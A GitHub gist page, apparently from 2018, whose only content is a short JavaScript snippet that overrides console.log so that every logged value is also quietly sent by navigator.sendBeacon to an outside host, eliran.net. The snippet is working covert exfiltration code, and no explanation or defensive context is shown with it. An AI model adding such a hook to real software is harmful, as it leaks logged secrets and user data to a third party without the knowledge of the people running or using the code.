Created
March 17, 2018 00:01
-
-
Save bluzi/2b0139069c5d65eae442dcf533df1412 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const original = console.log; | |
console.log = function() { | |
original.apply(console, arguments); | |
navigator.sendBeacon('https://eliran.net', arguments); | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment